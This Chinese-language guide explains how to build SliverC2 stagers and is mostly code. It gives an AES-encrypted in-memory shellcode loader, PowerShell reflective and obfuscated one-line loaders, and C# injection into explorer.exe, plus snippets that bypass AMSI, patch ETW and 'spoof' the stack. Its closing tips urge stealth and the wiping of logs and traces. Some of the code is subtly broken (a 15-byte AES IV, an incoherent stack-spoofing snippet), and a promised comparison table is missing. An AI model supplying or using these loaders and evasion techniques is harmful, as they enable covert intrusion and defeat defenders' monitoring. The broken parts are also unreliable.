SliverC2 Stager 高级构造方法研究

目录

1. AES加密Stager
2. PowerShell反射式加载
3. 进程注入技术

AES加密Stager

原理概述

AES加密Stager通过对payload进行AES加密，在内存中解密执行，有效规避静态检测。

实现步骤

1. 生成加密payload：

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

def encrypt_aes(key, iv, data):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ct_bytes = cipher.encrypt(pad(data, AES.block_size))
    return base64.b64encode(ct_bytes).decode('utf-8')

# 示例使用
key = b'ThisIsASecretKey'
iv = b'ThisIsAnIV45678'
payload = b'your_sliver_payload_here'
encrypted_payload = encrypt_aes(key, iv, payload)

2. 解密执行模板：

using System;
using System.IO;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

public class AESStager {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    
    public static void Main() {
        string encryptedPayload = "BASE64_ENCRYPTED_PAYLOAD";
        string key = "AES_KEY";
        string iv = "AES_IV";
        
        byte[] cipherText = Convert.FromBase64String(encryptedPayload);
        byte[] decrypted = DecryptAES(cipherText, Encoding.ASCII.GetBytes(key), Encoding.ASCII.GetBytes(iv));
        
        IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x1000, 0x40);
        Marshal.Copy(decrypted, 0, addr, decrypted.Length);
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
    
    public static byte[] DecryptAES(byte[] cipherText, byte[] Key, byte[] IV) {
        using (Aes aesAlg = Aes.Create()) {
            aesAlg.Key = Key;
            aesAlg.IV = IV;
            ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
            using (MemoryStream msDecrypt = new MemoryStream(cipherText)) {
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) {
                    using (MemoryStream msOutput = new MemoryStream()) {
                        csDecrypt.CopyTo(msOutput);
                        return msOutput.ToArray();
                    }
                }
            }
        }
    }
}

关键点

• 使用CBC模式进行AES加密
• 密钥和IV需要与生成端保持一致
• 内存分配使用VirtualAlloc并设置PAGE_EXECUTE_READWRITE权限
• 通过CreateThread执行解密后的payload

PowerShell反射式加载

原理概述

利用PowerShell的反射加载机制，直接在内存中加载和执行Sliver payload，不接触磁盘。

实现代码

function Invoke-SliverReflective {
    Param (
        [Parameter(Mandatory = $True)]
        [String]
        $Payload
    )
    
    $sliverAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($Payload))
    $entryPoint = $sliverAssembly.EntryPoint
    
    if ($entryPoint -ne $null) {
        $instance = [System.Activator]::CreateInstance($entryPoint.DeclaringType)
        $entryPoint.Invoke($instance, @())
    }
}

# 使用示例
$encryptedPayload = "BASE64_ENCODED_SLIVER_PAYLOAD"
Invoke-SliverReflective -Payload $encryptedPayload

变体：混淆版PowerShell加载器

sal a New-Object; iex (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('BASE64_COMPRESSED_PAYLOAD'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()

关键点

• 使用[System.Reflection.Assembly]::Load进行内存加载
• 通过反射调用入口点方法
• 可结合压缩(Base64 + Deflate)减小payload体积
• 支持多种混淆技术规避检测

进程注入技术

原理概述

将Sliver payload注入到合法进程(如explorer.exe)的内存空间中执行，实现进程隐藏。

实现代码(C#)

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

public class ProcessInjection {
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
    
    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    
    const int PROCESS_CREATE_THREAD = 0x0002;
    const int PROCESS_QUERY_INFORMATION = 0x0400;
    const int PROCESS_VM_OPERATION = 0x0008;
    const int PROCESS_VM_WRITE = 0x0020;
    const int PROCESS_VM_READ = 0x0010;
    const uint MEM_COMMIT = 0x00001000;
    const uint MEM_RESERVE = 0x00002000;
    const uint PAGE_EXECUTE_READWRITE = 0x40;
    
    public static void Main() {
        byte[] payload = Convert.FromBase64String("BASE64_SLIVER_PAYLOAD");
        
        Process targetProcess = Process.GetProcessesByName("explorer")[0];
        IntPtr hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
        
        IntPtr allocMemAddress = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)payload.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        
        UIntPtr bytesWritten;
        WriteProcessMemory(hProcess, allocMemAddress, payload, (uint)payload.Length, out bytesWritten);
        
        CreateRemoteThread(hProcess, IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
    }
}

关键点

1. 进程选择：

   • 优先选择稳定运行的常见进程(explorer.exe, svchost.exe等)
   • 避免选择会频繁重启的进程

2. 内存操作：

   • 使用VirtualAllocEx在目标进程分配内存
   • 设置PAGE_EXECUTE_READWRITE权限
   • 通过WriteProcessMemory写入payload

3. 执行控制：

   • 使用CreateRemoteThread在目标进程创建线程
   • 可结合APC注入或线程劫持等高级技术

综合防御规避技巧

1. AMSI绕过：

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

2. ETW补丁：

var ntdll = Win32NativeMethods.GetModuleHandle("ntdll.dll");
var etwEventWrite = Win32NativeMethods.GetProcAddress(ntdll, "EtwEventWrite");
byte[] patch = { 0xC3 }; // ret
Win32NativeMethods.WriteProcessMemory(Process.GetCurrentProcess().Handle, etwEventWrite, patch, patch.Length, out _);

3. 堆栈欺骗：

[DllImport("kernel32.dll")]
static extern void RtlZeroMemory(IntPtr dst, int length);

var retAddr = Marshal.GetFunctionPointerForDelegate((Action)(() => { }));
RtlZeroMemory(retAddr, 0x8);

总结表：三种Stager方法对比

注意事项

1. 所有技术仅限合法授权测试使用
2. 实际部署前需根据目标环境调整参数
3. 建议结合多种技术提高隐蔽性
4. 注意清理操作痕迹和日志